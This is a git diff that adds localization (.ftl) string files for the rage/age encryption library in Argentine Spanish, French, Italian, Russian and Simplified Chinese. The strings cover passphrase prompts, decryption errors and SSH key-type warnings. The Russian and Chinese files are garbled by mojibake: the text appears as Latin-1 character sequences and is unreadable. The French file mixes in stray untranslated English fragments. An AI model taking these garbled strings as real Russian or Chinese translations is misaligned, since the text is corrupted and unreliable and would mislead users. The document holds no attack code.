({$cipher}). + + If you would like support for this key type, please open an issue here: + + {$new_issue} + +ssh-unsupported-key-type = + Unsupported SSH Key Type + ------------------------ + {-openssh} supports various different key types, but {-rage} only supports a + subset of these for backwards compatibility, specifically the '{-ssh-rsa}' + and '{-ssh-ed25519}' key types. This SSH key uses the unsupported key type + '{$key_type}'. + +ssh-unsupported-security-key = + Unsupported SSH Hardware Authenticator + -------------------------------------- + {-openssh} version 8.2p1 added support for {-fido-u2f} hardware authenticators, + including hardware security keys such as {-yubikeys}. {-rage} does not work with + these SSH key types, because their protocol does not support encryption. + This SSH key uses the incompatible type '{$key_type}'. + + If you have a compatible hardware security key, you should use this plugin: + + {$age_plugin_yubikey_url} + + A hardware security key used with both {-openssh} and this plugin will have a + separate SSH public key and {-age} encryption recipient, because the plugin + implements the {-piv} protocol. diff --git a/lib/rage/age/i18n/es-AR/age.ftl b/lib/rage/age/i18n/es-AR/age.ftl new file mode 100644 index 0000000..08a5406 --- /dev/null +++ b/lib/rage/age/i18n/es-AR/age.ftl @@ -0,0 +1,108 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = requiere una entrada de texto +cli-secret-input-mismatch = las entrada provistas no coinciden + +cli-passphrase-desc = Escriba su frase contraseña (dejar vacío para autogenerar una segura) +cli-passphrase-prompt = Frase contraseña +cli-passphrase-confirm = Confirmar frase contraseña + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = truncado; use un pipe, una redirección, or {-flag-output} para desencriptar todo el archivo + +err-detected-binary = datos no imprimibles detectados; no se escribira la salida a la terminal. +rec-detected-binary = Forzar con '{-output-stdout}'. + +err-deny-binary-output = rechazando escribir output binario a la terminal. +rec-deny-binary-output = ¿Querias usar {-flag-armor}? {rec-detected-binary} + +## Errors + +err-decryption-failed = Desencripción fallida. + +err-excessive-work = Parámetro excesivo de trabajo para frase contraseña. +rec-excessive-work = La desencripción tomara alrededor de {$duration} segundos. + +err-header-invalid = Encabezado inválido + +err-header-mac-invalid = MAC de encabezado inválido. + +err-key-decryption = No se pudo desencriptar una clave encriptada. + +err-missing-recipients = No se encontraron destinatarios. + +err-no-matching-keys = No se encontraron claves coincidentes. + +err-unknown-format = Formato {-age} desconocido. +rec-unknown-format = ¿Has intentado actualizar a la última versión? + +err-read-identity-not-found = Archivo identidad no encontrado: {$filename} + +err-read-invalid-recipient = Destinatario inválido '{$recipient}'. + +## SSH identities + +ssh-passphrase-prompt = Escribe frase contraseña para clave {-openssh} '{$filename}' + +ssh-unsupported-key = Clave SSH no soportada: {$name} + +ssh-insecure-key-format = + Formato de Clave Encriptada inseguro + ------------------------------------ + Antes de {-openssh} version 7.8, su una contraseña era establecida al generar + una nueva clave DS, ECDSA o RSA, {-ssh-keygen} encriptaría dicha clave utilizando + el formato PEM. Este formato de encripción es inseguro y no debería utilizarse + más. + + Puedes migrar tu clave al formato de Clave Privada SSH (que has sido soportado + por {-openssh} desde la versión 6.5, lanzada en enero de 2014) cambiado su frase + contraseña (passphrase) con el siguiente comando: + + {" "}{$change_passphrase} + + Si estas utilizando {-openssh} entre las versiones 6.5 y 7.7 (tal como el {-openssh} + provisto por defecto en Ubuntu 18.04 LTS), puedes usar el siguiente comando para + forzar la generación de claves utilizando el nuevo formato: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Cifrado no soportado para Clave Encriptada SHH + ---------------------------------------------- + {-openssh} soporta internamente varios cifrados diferentes para claves encriptadas, + pero solo ha soportado solo algunos de pocos de ellos. {-rage} soporta todos + los cifrados que {-ssh-keygen} pudiera generar, y esta siendo actualizado + caso a caso para soportar aquellos cifrados no-estándar. Tu clave utiliza + un cifrado no soportado actualmente: ({$cipher}). + + Si quisieras soporte para este tipo de clave, por favor abre un issue aquí: + + {$new_issue} \ No newline at end of file diff --git a/lib/rage/age/i18n/fr/age.ftl b/lib/rage/age/i18n/fr/age.ftl new file mode 100644 index 0000000..e2be564 --- /dev/null +++ b/lib/rage/age/i18n/fr/age.ftl @@ -0,0 +1,185 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = Entrée requise +cli-secret-input-mismatch = Les entrées ne correspondent pas + +cli-passphrase-desc = Tapez votre phrase secrète (laissez vide pour en générer une très sure automatiquement) +cli-passphrase-prompt = Phrase secrète +cli-passphrase-confirm = Confirmez votre phrase secrète + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = tronqué; utilisez un pipe, une redirection ou {-flag-output} pour déchiffrer l'entièreté du fichier + +err-detected-binary = données non impressibles détectées; par précaution, pas d'impression dans le terminal. +rec-detected-binary = Forcez l'impression avec '{-output-stdout}'. + +err-deny-binary-output = refus d'impression de valeurs binaires dans le terminal. +rec-deny-binary-output = Est-ce que vous vouliez utiliser {-flag-armor}? {rec-detected-binary} + +err-deny-overwrite-file = refus d'écraser le fichier existant '{$filename}'. + +## Identity file errors + +err-failed-to-write-output = Echec d'écriture vers la sortie: {$err} + +err-identity-file-contains-plugin = Le ficher d'identité '{$filename}' contient des identités pour '{-age-plugin-}{$plugin_name}'. +rec-identity-file-contains-plugin = Essayez d'utiliser {-age-plugin-}{$plugin_name}' pour convertir cette identité en un destinataire. + +err-no-identities-in-file = Aucune identité trouvée dans le fichier '{$filename}'. +err-no-identities-in-stdin = Aucune identité trouvée dans l'entrée standard (stdin). + +## Errors + +err-decryption-failed = Echec du déchiffrement + +err-excessive-work = Facteur d'effort trop grand pour la phrase secrète. +rec-excessive-work = Le déchiffrement prendrait environ {$duration} seconds. + +err-header-invalid = En-tête non valable + +err-header-mac-invalid = Le MAC de l'en-tête est invalide + +err-key-decryption = Echec du déchiffrement d'une clef chiffrée + +err-missing-recipients = Destinataires manquants. + +err-no-matching-keys = Aucune clef correspondante n'a été trouvée + +err-unknown-format = Format {-age} inconnu. +rec-unknown-format = Avez-vous tenté de mettre jour vers la dernière version ? + +err-missing-plugin = Impossible de trouver '{$plugin_name}' dans le PATH. +rec-missing-plugin = Avez-vous installé le plugin ? + +err-plugin-identity = '{$plugin_name}' n'a pas pu utiliser une identité: {$message} +err-plugin-recipient = '{$plugin_name}' n'a pas pu utiliser le destinataire {$recipient}: {$message} + +err-plugin-died = '{$plugin_name}' est mort de manière inopinée. +rec-plugin-died-1 = Si vous développez un plugin, utilisez {$env_var} pour plus d'informations. +rec-plugin-died-2 = Attention: ceci imprime des informations de clef privées sur la sortie d'erreur standard. + +err-plugin-multiple = Le plugin a retourné de multiples erreurs: + +err-read-identity-encrypted-without-passphrase = + Le fichier d'identité '{$filename}' est chiffré avec {-age} mais pas avec une phrase secrète. +err-read-identity-not-found = Fichier d'identité introuvable: {$filename} + +err-read-invalid-recipient = Destinataire invalide: '{$recipient}'. + +err-read-invalid-recipients-file = + Le fichier de destinataires '{$filename}' contient des données autres que des destinataires à la ligne {$line_number}. + +err-read-missing-recipients-file = Fichier de destinataires introuvable: {$filename} + +err-read-multiple-stdin = L'entrée standard (stdin) ne peut pas être utilisée pour plus d'une chose. + +err-read-rsa-modulus-too-large = + Module RSA Trop Grand + --------------------- + {-openssh} supporte de nombreuses tailles de modules RSA, mais {-rage} ne supporte que des clefs + publiques d'au plus {$max_size} bits, pour éviter les risques de déni de service (DoS) lors du + chiffrement vers des clefs publiques inconnues. + +err-read-rsa-modulus-too-small = Taille de clef RSA trop petite. + +err-stream-last-chunk-empty = Le dernier morceau du STREAM est vide. chunk is empty. S'il vous plait, faites un bug report, et/ou essayez avec une version plus ancienne de {-rage}. + +## Encrypted identities + +encrypted-passphrase-prompt = Type passphrase for encrypted identity '{$filename}' + +encrypted-warn-no-match = Warning: encrypted identity file '{$filename}' didn't match file's recipients + +## Plugin identities + +plugin-waiting-on-binary = Waiting for {$binary_name}... + +## SSH identities + +ssh-passphrase-prompt = Type passphrase for {-openssh} key '{$filename}' + +ssh-unsupported-key = Unsupported SSH key: {$name} + +ssh-insecure-key-format = + Insecure Encrypted Key Format + ----------------------------- + Prior to {-openssh} version 7.8, if a password was set when generating a new + DSA, ECDSA, or RSA key, {-ssh-keygen} would encrypt the key using the encrypted + PEM format. This encryption format is insecure and should no longer be used. + + You can migrate your key to the encrypted SSH private key format (which has + been supported by {-openssh} since version 6.5, released in January 2014) by + changing its passphrase with the following command: + + {" "}{$change_passphrase} + + If you are using an {-openssh} version between 6.5 and 7.7 (such as the default + {-openssh} provided on Ubuntu 18.04 LTS), you can use the following command to + force keys to be generated using the new format: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Unsupported Cipher for Encrypted SSH Key + ---------------------------------------- + {-openssh} internally supports several different ciphers for encrypted keys, + but it has only ever directly generated a few of them. {-rage} supports all + ciphers that {-ssh-keygen} might generate, and is being updated on a + case-by-case basis with support for non-standard ciphers. Your key uses a + currently-unsupported cipher ({$cipher}). + + If you would like support for this key type, please open an issue here: + + {$new_issue} + +ssh-unsupported-key-type = + Unsupported SSH Key Type + ------------------------ + {-openssh} supports various different key types, but {-rage} only supports a + subset of these for backwards compatibility, specifically the '{-ssh-rsa}' + and '{-ssh-ed25519}' key types. This SSH key uses the unsupported key type + '{$key_type}'. + +ssh-unsupported-security-key = + Authenficateur physique SSH non supporté + -------------------------------------- + {-openssh} version 8.2p1 a ajouté le support pour les authentificateurs physique {-fido-u2f} + y compris les clefs de sécurité physiques telles que {-yubikeys}. {-rage} ne fonctionne pas + avec ce type de clef SSH, parcque leur protocole ne supporte pas le chiffrement. + Cette clef SSH est du type '{$key_type}' qui n'est pas compatible. + + Si vous avez une clef de sécurité physique, vous devriez utiliser ce plugin: + + {$age_plugin_yubikey_url} + + Une clef de sécurité utilisée avec à la fois {-openssh} et ce plugin aura + une clef SSH publique différente de sa clef destinataire {-age}, car ce plugin + implémente le protocol {-piv}. diff --git a/lib/rage/age/i18n/it/age.ftl b/lib/rage/age/i18n/it/age.ftl new file mode 100644 index 0000000..f8c16ca --- /dev/null +++ b/lib/rage/age/i18n/it/age.ftl @@ -0,0 +1,186 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = È richiesto un input +cli-secret-input-mismatch = Gli input non corrispondono + +cli-passphrase-desc = Digita la passphrase (lascia vuoto per generarne una sicura automaticamente) +cli-passphrase-prompt = Passphrase +cli-passphrase-confirm = Conferma la passphrase + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = troncato; usa una pipe, una redirezione, o {-flag-output} per decifrare l'intero file + +err-detected-binary = rilevati dati non stampabili; rifiuto l'invio dell'output al terminale. +rec-detected-binary = Puoi forzarlo con '{-output-stdout}'. + +err-deny-binary-output = rifiuto l'invio di output binario al terminale. +rec-deny-binary-output = Intendevi usare {-flag-armor}? {rec-detected-binary} + +err-deny-overwrite-file = rifiuto di sovrascrivere il file esistente '{$filename}'. + +## Identity file errors + +err-failed-to-write-output = Impossibile scrivere sull'output: {$err} + +err-identity-file-contains-plugin = Il file '{$filename}' contiene identità per '{-age-plugin-}{$plugin_name}'. +rec-identity-file-contains-plugin = Prova a usare '{-age-plugin-}{$plugin_name}' per convertire questa identità in destinatario. + +err-no-identities-in-file = Nessuna identità trovata nel file '{$filename}'. +err-no-identities-in-stdin = Nessuna identità trovata tramite standard input. + +## Errors + +err-decryption-failed = Decifrazione fallita + +err-excessive-work = Parametro di lavoro per la passphrase troppo elevato. +rec-excessive-work = La decifrazione impiegherà circa {$duration} secondi. + +err-header-invalid = L'header è invalido + +err-header-mac-invalid = Il MAC dell'header è invalido + +err-key-decryption = La decifrazione di una chiave crittografata è fallita + +err-missing-recipients = Destinatari mancanti. + +err-no-matching-keys = Nessuna chiave corrispondente trovata + +err-unknown-format = Formato {-age} sconosciuto. +rec-unknown-format = Hai provato ad aggiornare all'ultima versione? + +err-missing-plugin = '{$plugin_name}' non trovato nella PATH. +rec-missing-plugin = Hai installato il plugin? + +err-plugin-identity = '{$plugin_name}' ha fallito gestendo un'identità: {$message} +err-plugin-recipient = '{$plugin_name}' ha fallito gestendo il destinatario {$recipient}: {$message} + +err-plugin-died = '{$plugin_name}' ha terminato inaspettatamente. +rec-plugin-died-1 = Se stai sviluppando un plugin, usa {$env_var} per avere più informazioni. +rec-plugin-died-2 = Attenzione: questa opzione stampa chiavi crittografiche private su standard error. + +err-plugin-multiple = Il plugin ha riportato errori multipli: + +err-read-identity-encrypted-without-passphrase = + Il file di identità '{$filename}' è cifrato con {-age} ma non con una passphrase. +err-read-identity-not-found = File di identità non trovato: {$filename} + +err-read-invalid-recipient = Destinatario '{$recipient}' invalido. + +err-read-invalid-recipients-file = + Il file di destinatari '{$filename}' contiene un destinatario invalido alla riga {$line_number}. + +err-read-missing-recipients-file = File di destinatari non trovato: {$filename} + +err-read-multiple-stdin = Standard input non può essere usato per più funzioni contemporaneamente. + +err-read-rsa-modulus-too-large = + Modulo RSA Troppo Grande + --------------------- + {-openssh} supporta varie dimentioni di modulo RSA, ma {-rage} supporta solo + chiavi di {$max_size} bit al massimo, per evitare di consumare risorse eccessive + quando si usano destinatari non fidati. + +err-read-rsa-modulus-too-small = Chiave RSA troppo piccola. + +err-stream-last-chunk-empty = L'ultimo blocco STREAM è vuoto. Per favore segnala questo evento, e/o prova una versione precedente di {-rage}. + +## Encrypted identities + +encrypted-passphrase-prompt = Inserisci la passphrase per l'identità cifrata '{$filename}' + +encrypted-warn-no-match = Attenzione: il file di identità cifrato '{$filename}' non corrisponde a nessuno dei destinatari + +## Plugin identities + +plugin-waiting-on-binary = In attesa di {$binary_name}... + +## SSH identities + +ssh-passphrase-prompt = Inserisci la passphrase per la chiave {-openssh} '{$filename}' + +ssh-unsupported-key = Chiave SSH non supportata: {$name} + +ssh-insecure-key-format = + Formato della Chiave Crittografica Non Sicuro + --------------------------------------------- + Precedentemente alla versione 7.8 di {-openssh}, se una password veniva + impostata quando si generava una nuova chiave DSA, ECDSA, o RSA, {-ssh-keygen} + avrebbe crittografato la chiave usando un formato PEM cifrato. + + Puoi migrare la tua chiave nel formato della chiave privata SSH + crittografata (supportato dalla versione 6.5 di {-openssh} in poi, rilasciata + nel gennaio 2014) cambiando la passphrase associata con il seguente comando: + + {" "}{$change_passphrase} + + Se stai usando una versione di {-openssh} tra 6.5 e 7.7 (come quella + predefinita di Ubuntu 18.04 LTS), puoi usare il comando seguente per forzare + la generazione delle chiavi nel nuovo formato: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Cifrario Non Supportato per la Chiave SSH Crittografata + ------------------------------------------------------- + {-openssh} supporta internamente diversi cifrari per chiavi crittografate, ma + ne ha generate direttamente solo alcune di queste. {-rage} supporta tutti i + cifrari che {-ssh-keygen} potrebbe generare, e viene aggiornato caso per caso + con il supporto a cifrari non standard. La tua chiave usa un cifrario + attualmente non supportato ({$cipher}). + + Se vorresti il supporto per questo tipo di chiave, per favore apri una + segnalazione qui: + + {$new_issue} + +ssh-unsupported-key-type = + Tipo di Chiave SSH Non Supportato + --------------------------------- + {-openssh} supporta diversi tipi di chiavi, ma {-rage} ne supporta solo alcuni; + specificatamente, i tipi '{-ssh-rsa}' e '{-ssh-ed25519}'. Questa chiave SSH + è del tipo '{$key_type}', che non è supportato. + + +ssh-unsupported-security-key = + Chiave di Sicurezza SSH Non Supportata + -------------------------------------- + {-openssh} versione 8.2p1 ha introdotto supporto per gli autenticatori {-fido-u2f}, + incluse le chiavi di sicurezza come le {-yubikeys}. {-rage} non funziona con questo + tipo di chiavi SSH, perché il loro protocollo non supporta la cifratura. + Questa chiave SSH è del tipo incompatibile '{$key_type}'. + + Se hai una chiave di sicurezza compatibile, puoi usare questo plugin: + + {$age_plugin_yubikey_url} + + Una chiave di sicurezza usata sia con {-openssh} sia con questo plugin avrà + chiavi pubbliche SSH e {-age} separate, perché questo plugin si basa sul + protocollo {-piv}. diff --git a/lib/rage/age/i18n/ru/age.ftl b/lib/rage/age/i18n/ru/age.ftl new file mode 100644 index 0000000..1158cac --- /dev/null +++ b/lib/rage/age/i18n/ru/age.ftl @@ -0,0 +1,187 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = ТребуетÑÑ Ð²Ð²Ð¾Ð´ +cli-secret-input-mismatch = Входы не Ñовпадают + +cli-passphrase-desc = Введите ключевую фразу (оÑтавьте пуÑтой, чтобы автогенерировать безопаÑную фразу) +cli-passphrase-prompt = ÐŸÐ°Ñ€Ð¾Ð»ÑŒÐ½Ð°Ñ Ñ„Ñ€Ð°Ð·Ð° +cli-passphrase-confirm = Подтвердить парольную фразу + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = уÑеченный; иÑпользуйте трубу, перенаправление или {-flag-output} Ð´Ð»Ñ Ñ€Ð°Ñшифровки вÑего файла + +err-detected-binary = обнаружены непечатаемые данные; отказ от вывода в терминал. +rec-detected-binary = Принудительно иÑпользуйте '{-output-stdout}'. + +err-deny-binary-output = отказ от вывода бинарных данных в терминал. +rec-deny-binary-output = Возможно, вы хотели иÑпользовать {-flag-armor}? {rec-detected-binary} + +err-deny-overwrite-file = отказ от перезапиÑи ÑущеÑтвующего файла '{$filename}'. + +## Identity file errors + +err-failed-to-write-output = Ðе удалоÑÑŒ запиÑать в выходной файл: {$err} + +err-identity-file-contains-plugin = Файл идентификации '{$filename}' Ñодержит идентификаторы Ð´Ð»Ñ '{-age-plugin-}{$plugin_name}'. +rec-identity-file-contains-plugin = Попробуйте иÑпользовать '{-age-plugin-}{$plugin_name}' Ð´Ð»Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтого идентификатора в получателÑ. + +err-no-identities-in-file = Идентификаторы в файле '{$filename}' не найдены. +err-no-identities-in-stdin = Идентификаторы в Ñтандартном вводе не найдены. + +## Errors + +err-decryption-failed = Ошибка Ð´ÐµÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ + +err-excessive-work = Чрезмерный параметр работы Ð´Ð»Ñ Ð¿Ð°Ñ€Ð¾Ð»ÑŒÐ½Ð¾Ð¹ фразы. +rec-excessive-work = Дешифрование займет примерно {$duration} Ñекунд. + +err-header-invalid = ÐедейÑтвительный заголовок + +err-header-mac-invalid = ÐедейÑтвительный MAC заголовка + +err-key-decryption = Ðе удалоÑÑŒ раÑшифровать зашифрованный ключ + +err-missing-recipients = ОтÑутÑтвуют получатели. + +err-no-matching-keys = Ðе найдены подходÑщие ключи + +err-unknown-format = ÐеизвеÑтный формат {-age}. +rec-unknown-format = Попробуйте обновитьÑÑ Ð´Ð¾ поÑледней верÑии. + +err-missing-plugin = Ðе удалоÑÑŒ найти '{$plugin_name}' в PATH. +rec-missing-plugin = УÑтановили ли вы плагин? + +err-plugin-identity = '{$plugin_name}' не Ñмог иÑпользовать идентификатор: {$message} +err-plugin-recipient = '{$plugin_name}' не Ñмог иÑпользовать Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ {$recipient}: {$message} + +err-plugin-died = '{$plugin_name}' неожиданно завершил работу. +rec-plugin-died-1 = ЕÑли вы разрабатываете плагин, запуÑтите Ñ Ð¿ÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð¾Ð¹ Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ñ {$env_var} Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации. +rec-plugin-died-2 = Внимание: Ñто печатает чаÑтную информацию ключа ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Ñтандартный вывод ошибок. + +err-plugin-multiple = Плагин вернул неÑколько ошибок: + +err-read-identity-encrypted-without-passphrase = + Файл идентификации '{$filename}' зашифрован Ñ Ð¸Ñпользованием {-age}, но без парольной фразы. +err-read-identity-not-found = Файл идентификации не найден: {$filename} + +err-read-invalid-recipient = ÐедейÑтвительный получатель '{$recipient}'. + +err-read-invalid-recipients-file = + Файл получателей '{$filename}' Ñодержит данные, не отноÑÑщиеÑÑ Ðº получателÑм, в Ñтроке {$line_number}. + +err-read-missing-recipients-file = Файл получателей не найден: {$filename} + +err-read-multiple-stdin = Стандартный ввод не может иÑпользоватьÑÑ Ð´Ð»Ñ Ð½ÐµÑкольких целей. + +err-read-rsa-modulus-too-large = + Слишком большой модуль RSA + --------------------- + {-openssh} поддерживает различные размеры Ð¼Ð¾Ð´ÑƒÐ»Ñ RSA, но {-rage} поддерживает + только публичные ключи макÑимум {$max_size} бит, чтобы предотвратить уÑÐ»Ð¾Ð²Ð¸Ñ + отказа в обÑлуживании (DoS) при шифровании Ð´Ð»Ñ Ð½ÐµÐ½Ð°Ð´ÐµÐ¶Ð½Ñ‹Ñ… публичных ключей. + +err-read-rsa-modulus-too-small = Размер ключа RSA Ñлишком мал. + +err-stream-last-chunk-empty = ПоÑледний чанк STREAM пуÑÑ‚. ПожалуйÑта, Ñообщите об Ñтом и/или попробуйте Ñтарую {-rage} верÑию. + +## Encrypted identities + +encrypted-passphrase-prompt = Введите парольную фразу Ð´Ð»Ñ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ð¾Ð¹ идентификации '{$filename}' + +encrypted-warn-no-match = Предупреждение: зашифрованный файл идентификации '{$filename}' не ÑоответÑтвует получателÑм файла + +## Plugin identities + +plugin-waiting-on-binary = Ожидание {$binary_name}... + +## SSH identities + +ssh-passphrase-prompt = Введите парольную фразу Ð´Ð»Ñ {-openssh} ключа '{$filename}' + +ssh-unsupported-key = Ðеподдерживаемый SSH ключ: {$name} + +ssh-insecure-key-format = + ÐебезопаÑный формат зашифрованного ключа + ----------------------------- + До верÑии {-openssh} 7.8, еÑли при Ñоздании нового ключа DSA, ECDSA или RSA + был уÑтановлен пароль, {-ssh-keygen} шифровал ключ, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ð¹ + формат PEM. Этот формат ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÑƒÑтарел и не должен иÑпользоватьÑÑ. + + Ð’Ñ‹ можете мигрировать Ñвой ключ в зашифрованный формат чаÑтного ключа SSH + (который поддерживаетÑÑ Ñ Ð²ÐµÑ€Ñии 6.5, выпущенной в Ñнваре 2014 года), + изменив его парольную фразу Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ñледующей команды: + + {" "}{$change_passphrase} + + ЕÑли вы иÑпользуете верÑию {-openssh} между 6.5 и 7.7 (например, Ñтандартную + верÑию {-openssh} в Ubuntu 18.04 LTS), вы можете иÑпользовать Ñледующую + команду Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ¹ Ñ Ð¸Ñпользованием нового формата: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Ðеподдерживаемый шифр Ð´Ð»Ñ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ð¾Ð³Ð¾ SSH ключа + ---------------------------------------- + {-openssh} внутренне поддерживает неÑколько различных шифров Ð´Ð»Ñ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ñ… + ключей, но только некоторые из них генерируютÑÑ Ð½Ð°Ð¿Ñ€Ñмую. {-rage} поддерживает + вÑе шифры, которые может генерировать {-ssh-keygen}, и обновлÑетÑÑ Ð¿Ð¾ мере + необходимоÑти Ð´Ð»Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¸ неÑтандартных шифров. Ваш ключ иÑпользует в + наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð½ÐµÐ¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ñ‹Ð¹ шифр ({$cipher}). + + ЕÑли вы хотите поддержки Ñтого типа ключа, пожалуйÑта, откройте проблему здеÑÑŒ: + + {$new_issue} + +ssh-unsupported-key-type = + Ðеподдерживаемый тип SSH ключа + ------------------------ + {-openssh} поддерживает различные типы ключей, но {-rage} поддерживает только + подмножеÑтво Ñтих Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ñ‚Ð½Ð¾Ð¹ ÑовмеÑтимоÑти, в чаÑтноÑти типы ключей + '{-ssh-rsa}' и '{-ssh-ed25519}'. Этот SSH ключ иÑпользует неподдерживаемый + тип ключа '{$key_type}'. + +ssh-unsupported-security-key = + Ðеподдерживаемый аппаратный аутентификатор SSH + -------------------------------------- + ВерÑÐ¸Ñ {-openssh} 8.2p1 добавила поддержку аппаратных аутентификаторов + {-fido-u2f}, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð°Ð¿Ð¿Ð°Ñ€Ð°Ñ‚Ð½Ñ‹Ðµ ключи безопаÑноÑти, такие как {-yubikeys}. + {-rage} не работает Ñ Ñтими типами ключей SSH, потому что их протокол не + поддерживает шифрование. Этот SSH ключ иÑпользует неÑовмеÑтимый тип + '{$key_type}'. + + ЕÑли у Ð²Ð°Ñ ÐµÑть ÑовмеÑтимый аппаратный ключ безопаÑноÑти, вы должны + иÑпользовать Ñтот плагин: + + {$age_plugin_yubikey_url} + + Ðппаратный ключ безопаÑноÑти, иÑпользуемый одновременно Ñ {-openssh} и + Ñтим плагином будет иметь отдельный публичный SSH-ключ и Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ + ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ {-age}, потому что плагин реализует протокол {-piv}. diff --git a/lib/rage/age/i18n/zh-CN/age.ftl b/lib/rage/age/i18n/zh-CN/age.ftl new file mode 100644 index 0000000..d4aefd1 --- /dev/null +++ b/lib/rage/age/i18n/zh-CN/age.ftl @@ -0,0 +1,102 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = 必输入内容 +cli-secret-input-mismatch = 所输内容ä¸åŒ¹é… + +cli-passphrase-desc = 输入密ç çŸ­è¯­ (留空则自动生æˆå¼ºå¯†ç çŸ­è¯­) +cli-passphrase-prompt = 密ç çŸ­è¯­ +cli-passphrase-confirm = 确认密ç çŸ­è¯­ + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = è¢«æˆªæ–­ï¼›è¯·é‡‡ç”¨ç®¡é“ ï¼ˆpipe)ã€é‡å®šå‘ (redirectï¼‰ã€æˆ– {-flag-output} 以解密整个文件 + +err-detected-binary = 检测到未能打å°çš„æ•°æ®ï¼›æ‹’ç»è¾“出至终端。 +rec-detected-binary = 采用 '{-output-stdout}' 强制打å°ã€‚ + +err-deny-binary-output = æ‹’ç»è¾“出二进制内容至终端。 +rec-deny-binary-output = æ‚¨æ˜¯ä¸æ˜¯è¦é‡‡ç”¨ {-flag-armor}? {rec-detected-binary} + +## Errors + +err-decryption-failed = 解密失败 + +err-excessive-work = 密ç çŸ­è¯­çš„å·¥ä½œå‚æ•° (work parameter) 过高。 +rec-excessive-work = 